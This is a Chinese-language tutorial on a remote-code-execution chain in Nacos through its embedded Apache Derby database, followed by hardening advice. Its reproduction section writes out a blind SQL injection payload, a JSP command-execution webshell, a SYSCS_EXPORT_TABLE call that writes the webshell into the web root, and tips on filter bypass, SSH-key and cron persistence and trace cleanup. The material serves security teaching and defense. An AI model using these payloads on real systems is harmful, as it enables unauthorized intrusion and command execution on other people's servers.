1. 项目概述一次从漏洞到数据库的深度探索最近在安全圈和运维圈里Nacos 这个名字出现的频率越来越高。作为 Spring Cloud Alibaba 生态中的核心组件它集服务发现、配置管理于一身极大地简化了微服务架构的治理。但伴随着其广泛部署相关的安全问题也逐渐浮出水面。我注意到一个特别值得深究的案例一个涉及 Nacos 默认内嵌 Derby 数据库的远程代码执行漏洞。这个案例之所以吸引我不仅仅是因为它本身是一个高危的 RCE更因为它为我们打开了一扇窗让我们得以窥见一个在特定场景下“默默无闻”的数据库——Apache Derby——在安全攻防视角下的另一面。对于大多数开发者而言Derby 可能只是一个在本地测试时“开箱即用”的便利选择或者是在某些中间件如 Nacos 的默认单机模式中“隐藏”的后台存储。我们很少会像研究 MySQL、PostgreSQL 那样去深入探究它的安全特性和潜在风险。然而这个 Nacos 的漏洞案例清晰地告诉我们任何被集成到生产环境中的组件无论其是否被显式关注都可能成为攻击链上的关键一环。这次我们就以这个漏洞为引子不仅复现和分析漏洞本身更要深入 Derby 数据库的内部学习其特性和在特定条件下的利用方法。无论你是安全研究员想拓宽武器库还是运维工程师想加固你的 Nacos 集群亦或是单纯对数据库安全感兴趣这次探索都将是一次有价值的实践。2. 漏洞背景与核心原理拆解2.1 Nacos 的默认存储与 Derby 的角色要理解这个漏洞首先得明白 Nacos 在单机模式下是怎么存数据的。为了追求极致的开箱即用体验Nacos 在非集群模式下默认使用内嵌的 Apache Derby 数据库作为其配置信息和元数据的存储后端。Derby 是一个纯 Java 编写的关系型数据库它的一大特点就是可以完全嵌入到应用程序中无需独立安装和运行数据库服务进程。对于 Nacos 来说这意味着用户下载完压缩包解压后直接运行startup.sh或startup.cmd就能启动一个功能完整的服务数据会自动存储在{nacos.home}/data/derby-data目录下对用户透明。这种设计带来了便捷但也引入了潜在的安全假设内嵌数据库被认为是受信任的、仅在本地被访问的组件。因此Nacos 早期版本在默认配置下可能并未对 Derby 数据库的连接和操作施加严格的身份验证或访问控制。攻击者的思路正是从这里切入如果能够通过某种方式例如未授权访问 Nacos 的 API 接口向 Nacos 注入恶意的 Derby SQL 语句那么这些语句将在 Nacos 服务进程的上下文通常具有较高权限中由内嵌的 Derby 引擎执行。2.2 RCE 漏洞的形成链条漏洞的完整链条通常不是单一环节而是多个薄弱点串联的结果。在这个案例中链条可以概括为入口点暴露攻击者首先需要找到一个能与 Nacos 交互的入口。历史上Nacos 曾出现过未授权访问漏洞例如某些 API 接口在默认配置下未开启鉴权。攻击者可以利用此类漏洞无需用户名密码即可调用 Nacos 的配置管理或服务管理接口。SQL 注入点Nacos 的某些功能在处理外部输入如配置内容、服务名、元数据时如果过滤不严可能会将用户输入直接拼接到操作 Derby 数据库的 SQL 语句中。这就形成了一个经典的 SQL 注入漏洞。Derby 的特性利用这是最关键的一步。普通的 SQL 注入可能只能实现数据窃取或篡改但 Derby 数据库提供了一些强大的、甚至危险的系统函数和存储过程。例如SYSCS_UTIL.SYSCS_EXPORT_TABLE可以将表数据导出到服务器文件系统的任意位置。CALL语句执行 Java 方法Derby 支持在 SQL 中直接调用静态 Java 方法。创建和执行自定义函数JAR 文件加载理论上如果攻击者能控制文件路径可以诱使 Derby 加载恶意 JAR 文件并执行其中的代码。权限上下文Nacos 服务进程通常以rootLinux或SYSTEMWindows等高权限账户运行以确保其能正常监听端口、读写文件等。当恶意 SQL 在这个上下文中执行时其产生的文件操作或系统命令调用就具备了极高的权限从而实现远程代码执行。简单来说攻击路径就是未授权访问 - 找到SQL注入点 - 注入可导致文件写入或代码执行的Derby特殊SQL - 在Nacos进程权限下完成RCE。注意这里讨论的是基于历史漏洞原理的分析与学习。目前 Nacos 官方在新版本中已经加强了安全默认配置如强制开启鉴权、修复了相关注入点并提供了使用外部 MySQL 等生产级数据库的推荐方案。我们的目的是通过此案例学习技术原理切勿用于非法测试未授权的系统。2.3 为什么是 Derby与其他数据库的对比你可能会问如果是 MySQL 有 SQL 注入可能通过INTO OUTFILE写文件或者利用LOAD_FILE读文件但实现完整的 RCE 通常更复杂需要配合写入 WebShell 或利用 UDF用户自定义函数。相比之下Derby 在某些方面显得更“直接”。内置文件操作像SYSCS_EXPORT_TABLE这样的内置过程设计初衷是方便数据库管理数据导出备份但参数完全由 SQL 控制且没有严格的路径限制这就为写入任意文件如 JSP、SSH 公钥提供了便利。与 JVM 的深度集成作为纯 Java 数据库Derby 运行在同一个 JVM 中与应用程序Nacos的界限非常模糊。通过 SQL 调用 Java 方法 (CALL java.lang.Runtime.getRuntime().exec(...)) 在特定配置下是可能的这几乎等同于直接获得了执行系统命令的能力。默认配置宽松在嵌入式场景下Derby 往往采用最简配置安全特性如derby.database.sqlAuthorization默认未开启这降低了对危险操作的限制。这些特性使得在存在 SQL 注入的前提下针对 Derby 的利用链可能比传统数据库更短、更直接。这也提醒我们在评估系统风险时不能忽视那些“不起眼”的嵌入式组件。3. Derby 数据库特性深度解析与利用面要有效利用或防御必须深入了解 Derby。我们抛开漏洞利用的恶意视角从数据库特性本身看看哪些功能可能被“滥用”。3.1 文件系统操作能力Derby 提供了一系列系统存储过程用于数据库的导入导出和备份恢复。这些功能在管理上是合法的但在注入场景下是危险的。SYSCS_UTIL.SYSCS_EXPORT_TABLE这是最常被提及的一个。它的原型类似于CALL SYSCS_UTIL.SYSCS_EXPORT_TABLE (NULL, ‘TABLENAME‘, ‘/PATH/TO/OUTPUT/FILE‘, ‘,‘, ‘“’, ‘UTF-8’);它可以将指定表的数据以 CSV 格式导出到服务器文件系统的指定路径。关键点在于这个路径参数可以是绝对路径并且 Derby 进程有权限写入的任何位置。攻击者可以导出一个已知的表甚至是一个攻击者可以创建或插入数据的临时表。将输出文件路径设置为 Web 根目录下的一个 JSP 文件如/opt/nacos/target/nacos/WEB-INF/…/xxx.jsp。在导出的数据中精心构造 JSP 的代码内容例如通过向表中插入一行包含% Runtime.getRuntime().exec(request.getParameter(“cmd”)); %的数据。 这样一个 WebShell 就被写入了服务器。SYSCS_UTIL.SYSCS_EXPORT_QUERY与EXPORT_TABLE类似但允许导出一个查询语句的结果更加灵活。SYSCS_UTIL.SYSCS_BACKUP_DATABASE备份数据库到指定目录。虽然主要用来写目录但在特定情况下也可能用于探测路径存在性或进行有限的文件操作。实操心得在实际测试环境中Derby 对导出文件的处理是覆盖写入。如果目标文件已存在会被直接覆盖。这为覆盖关键系统文件或 Web 应用文件提供了可能。同时要注意 Derby 运行账户对目标路径的写权限这是利用成功的前提。3.2 Java 方法调用与反射机制Derby 支持在 SQL 语句中直接调用 Java 静态方法这是其与 JVM 深度集成的体现。语法如下VALUES java.lang.System.getProperty(‘java.home’); -- 或 CALL java.lang.Thread.sleep(1000);在早期版本或特定配置下如果 Derby 的java.lang.Runtime访问没有被沙箱策略严格限制理论上可以执行命令CALL java.lang.Runtime.getRuntime().exec(‘calc.exe’);然而现代 Derby 版本和运行在默认安全管理器下的 Java 应用通常会严格禁止这类敏感操作。直接调用Runtime.exec大概率会抛出安全异常。但这并不意味着此路完全不通攻击者可能会尝试通过反射等更迂回的方式绕过限制或者寻找其他不直接执行命令但仍有危害的 Java 方法调用如调用java.nio.file.Files进行文件操作。3.3 自定义函数与外部 JAR 加载这是另一个理论上可行但实践中门槛较高的路径。Derby 允许用户创建自定义函数UDF这些函数的实现可以写在 Java 类中然后通过 SQL 语句部署到数据库。攻击者首先需要在服务器上某个 Derby 可访问的位置放置一个包含恶意类如实现了java.sql.CallableStatement的类的 JAR 文件。这可能通过之前的文件写入漏洞实现。然后通过 SQL 注入执行CALL SQLJ.INSTALL_JAR来安装这个 JAR。最后创建别名Alias指向恶意类中的方法并调用它。这个过程步骤较多依赖条件苛刻需要能写入 JAR、需要 Derby 配置允许安装外部 JAR在实际漏洞利用中不如文件导出直接有效但作为一种持久化或高级利用手段值得了解。3.4 信息收集与指纹识别在真正的攻击开始前信息收集至关重要。通过 Derby 的注入点我们可以提取大量关于数据库和环境的信息版本信息SELECT * FROM sys.sysversions模式与表信息SELECT schemaname, tablename FROM sys.systables当前用户与权限SELECT CURRENT_USER, CURRENT_ROLE(注意嵌入式 Derby 的权限模型可能比较简单)系统属性通过VALUES java.lang.System.getProperty(‘user.dir’)等可以获取 JVM 系统属性从而判断运行路径、操作系统等。这些信息能帮助攻击者或防御者评估风险了解数据库结构定位关键配置表如 Nacos 的用户凭据可能存储在users表中并规划下一步的利用路径。4. 漏洞复现环境搭建与核心利用步骤声明本节内容仅用于合法授权的安全测试、教学研究或个人学习环境。请确保你拥有测试目标系统的完全所有权或书面授权。4.1 环境准备为了安全地学习和研究我们必须在隔离的环境中搭建靶场。虚拟机/容器环境使用 VirtualBox、VMware 或 Docker 创建一个干净的 Linux如 Ubuntu 20.04或 Windows 测试环境。下载特定版本 Nacos从 Nacos 的 GitHub Release 页面下载一个存在相关漏洞的历史版本。例如可以选择一个早期未强制开启鉴权的版本如 1.x 系列的某个版本。这里以nacos-server-1.4.2.zip为例仅为示意具体漏洞版本需根据实际 CVE 确定。wget https://github.com/alibaba/nacos/releases/download/1.4.2/nacos-server-1.4.2.zip unzip nacos-server-1.4.2.zip cd nacos修改配置可选但推荐为了模拟最不安全的默认情况可以检查conf/application.properties确保nacos.core.auth.enabled被设置为false关闭鉴权。同时确认其使用的是内嵌 Derby (spring.datasource.platformderby)。启动 NacosLinux:bash bin/startup.sh -m standaloneWindows:cmd bin/startup.cmd -m standalone验证启动访问http://你的IP:8848/nacos应该能看到登录页。如果关闭了鉴权可能可以直接进入控制台。4.2 利用链复现实操假设我们通过信息收集发现了一个存在于 Nacos 配置发布功能中的 SQL 注入点例如在配置内容的某个字段过滤不严。以下步骤演示一个典型的、通过文件导出写入 WebShell 的利用过程。步骤一确认注入点并获取数据库信息首先我们需要验证注入的存在并了解数据库结构。通过 Burp Suite 或 curl 工具拦截修改请求。 例如篡改一个更新配置的请求在配置内容中插入 Derby 的延时语句来测试盲注POST /nacos/v1/cs/configs HTTP/1.1 ... dataIdtestgroupDEFAULT_GROUPcontent‘; VALUES (CASE WHEN (11) THEN 1 ELSE (CALL java.lang.Thread.sleep(5000)) END) --观察响应时间如果睡眠生效则确认存在 SQL 注入。步骤二定位 Web 目录或可写路径我们需要知道 Nacos 的 Web 应用部署在哪里以便写入的 JSP 文件能被访问。可以通过错误信息、已知的默认路径如{nacos.home}/target/nacos/或../nacos/console/相对路径或利用 Derby 读取系统属性来探测。 尝试注入‘; VALUES java.lang.System.getProperty(‘catalina.base’) --或者更直接地尝试向一个猜测的路径导出数据通过是否报错来判断路径有效性。步骤三准备“数据”并写入 WebShell创建或利用现有表我们需要一个表来存放我们的 WebShell 代码。可以尝试插入数据到已有的表如config_info或者更隐蔽地创建一个临时表。Derby 中创建表需要一定权限但有时当前连接具备该权限。‘; CREATE TABLE evil_table (payload VARCHAR(8192)) -- ‘; INSERT INTO evil_table (payload) VALUES (‘% page import“java.util.*,java.io.*“%% if (request.getParameter(“cmd”) ! null) { Process p Runtime.getRuntime().exec(request.getParameter(“cmd”)); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } }%‘) --这段 JSP 代码会执行通过cmd参数传递的系统命令并回显结果。导出数据到 Web 目录利用SYSCS_EXPORT_TABLE将evil_table表的内容导出为一个.jsp文件。假设我们探测到 Web 根目录为/home/nacos/target/nacos/。‘; CALL SYSCS_UTIL.SYSCS_EXPORT_TABLE (NULL, ‘EVIL_TABLE‘, ‘/home/nacos/target/nacos/nacos/console/shell.jsp‘, null, null, null) --注意表名在 Derby 中默认是大写的。参数中的null表示使用默认的列分隔符、字符串定界符和字符集。步骤四访问 WebShell 并执行命令如果上述步骤成功访问http://你的IP:8848/nacos/console/shell.jsp?cmdwhoami。如果页面返回了当前服务的运行用户如nacos或root则证明 RCE 成功。4.3 利用过程中的关键技巧与注意事项绕过字符过滤真实的 Nacos 可能对请求参数有过滤或转义。需要尝试多种编码URL编码、Unicode编码、十六进制编码或使用 Derby 的字符串拼接函数||来绕过。例如将SYSCS_EXPORT_TABLE拆分为‘SYSCS‘||‘_EXPORT_TABLE‘。处理 Derby 的标识符大小写Derby 默认将未加引号的标识符如表名、列名存储为大写。在 SQL 语句中引用时需要注意。如果创建表时用了小写查询时需要用双引号括起来如“evil_table“。路径穿越在导出路径中尝试使用../进行目录穿越可能可以跳出预期的目录写入到更敏感的位置。无回显利用如果无法直接访问写入的 WebShell如没有 Web 服务可以考虑写入 SSH 公钥到~/.ssh/authorized_keys或者写入计划任务文件如 Linux 的/etc/cron.d/下实现无回显的 RCE。清理痕迹利用完成后可以通过注入删除临时表 (DROP TABLE evil_table) 和删除 WebShell 文件这可能需要借助其他方法如写入一个执行rm命令的 JSP来清理痕迹但这本身又会留下新的日志。重要警告上述操作极具破坏性仅应在完全可控的隔离环境中进行。在生产环境中任何未经授权的测试都是非法且不道德的。5. 防御策略与安全加固建议学习攻击是为了更好的防御。针对此类由内嵌数据库漏洞引发的 RCE我们可以从多个层面进行加固。5.1 针对 Nacos 的加固措施立即升级到最新稳定版这是最有效、最根本的措施。Nacos 官方持续修复安全漏洞并增强安全特性。新版本默认开启了鉴权并修复了已知的注入点。强制启用鉴权即使使用旧版本也必须修改application.properties设置nacos.core.auth.enabledtrue并配置强密码。这能堵住未授权访问这个最大的入口。弃用内嵌 Derby使用外部数据库对于生产环境强烈推荐将存储迁移到外部的 MySQL 或 PostgreSQL 数据库。这不仅能提升性能和支持集群模式还能将数据库的安全管理如网络隔离、访问控制、审计与 Nacos 应用本身解耦。修改conf/application.properties中的spring.datasource.platform为mysql。配置 MySQL 的连接信息并执行conf/nacos-mysql.sql初始化数据库。最小权限原则运行不要以root身份运行 Nacos。创建一个专用的、低权限的系统用户如nacos并以此用户身份启动服务。这能极大限制漏洞利用成功后攻击者获得的权限。useradd nacos -s /bin/false chown -R nacos:nacos /path/to/nacos sudo -u nacos bash bin/startup.sh -m standalone网络隔离与访问控制将 Nacos 部署在内网通过防火墙策略严格限制访问来源 IP仅允许微服务应用所在的网段访问管理端口 8848。避免将 Nacos 控制台直接暴露在公网。5.2 针对 Derby 数据库的安全配置如果必须使用如果因特殊原因必须使用内嵌 Derby应尝试锁定其配置启用 SQL 标准授权在 Derby 连接 URL 或系统属性中设置derby.database.sqlAuthorizationtrue。这会在数据库级别启用基于 SQL 标准的权限控制限制用户对系统函数和存储过程的访问。但请注意在嵌入式模式下此功能可能有限。使用 Java 安全策略文件为运行 Nacos 的 JVM 配置自定义的java.policy文件严格限制 Derby 代码org.apache.derby.**的权限特别是FilePermission和RuntimePermission禁止其写入任意文件和执行命令。定期安全审计监控 Nacos 的访问日志和 Derby 的日志如果开启寻找异常的 SQL 语句模式或来自非授权 IP 的访问尝试。5.3 通用的安全开发与运维实践输入验证与参数化查询从根本上杜绝 SQL 注入需要在代码层面对所有用户输入进行严格的验证和过滤。对于数据库操作必须使用参数化查询PreparedStatement或 ORM 框架提供的安全机制绝不拼接 SQL 字符串。依赖组件安全扫描将 Nacos、Derby 等第三方组件纳入软件成分分析SCA的范畴使用工具定期扫描已知的漏洞CVE并及时制定升级或缓解计划。纵深防御不要依赖单一的安全措施。结合网络防火墙、主机入侵检测系统HIDS、Web 应用防火墙WAF等多层防护即使某一层被突破其他层仍能提供保护。安全开发生命周期在软件设计和开发阶段就考虑安全进行威胁建模识别类似“内嵌数据库信任边界”这样的风险点并提前设计防护方案。6. 从漏洞分析到技能沉淀的思考回顾这次从 Nacos Derby RCE 漏洞出发的探索它带给我的远不止一个漏洞的利用方法。它更像一个典型案例揭示了在现代分布式架构中由“便捷性”驱动的默认选择可能暗藏的安全风险。内嵌数据库、默认弱密码、未开启的鉴权这些为了“快速开始”而设计的特性在面向公网或复杂内网时往往成为攻击者最青睐的突破口。对于安全研究人员这个案例展示了如何将传统的 SQL 注入技术与特定组件的特性深度结合挖掘出更严重的漏洞利用链。它要求我们不仅要知道UNION SELECT还要去阅读 Derby 的官方文档了解SYSCS_UTIL这个 schema 下有哪些“神奇”的过程。对于运维和开发人员这是一个响亮的警报默认不等于安全。在生产环境中部署任何软件第一步就是审查其安全配置。Nacos 的鉴权、数据库选型、运行账户这些都是必须在部署清单上勾选的项目。同时它也提醒我们要关注架构中每一个组件即使它像内嵌 Derby 一样“透明”其安全状态同样会影响整个系统的安危。最后这种漏洞的利用往往需要多个条件同时满足未授权访问SQL注入可写路径。在防御时我们可以利用这一点实施“防御纵深”。即使无法立刻修复所有漏洞通过启用鉴权、降低运行权限也能显著提高攻击门槛将大规模、自动化的攻击拒之门外。安全是一个持续的过程从理解每一次攻击开始到落实每一项加固结束。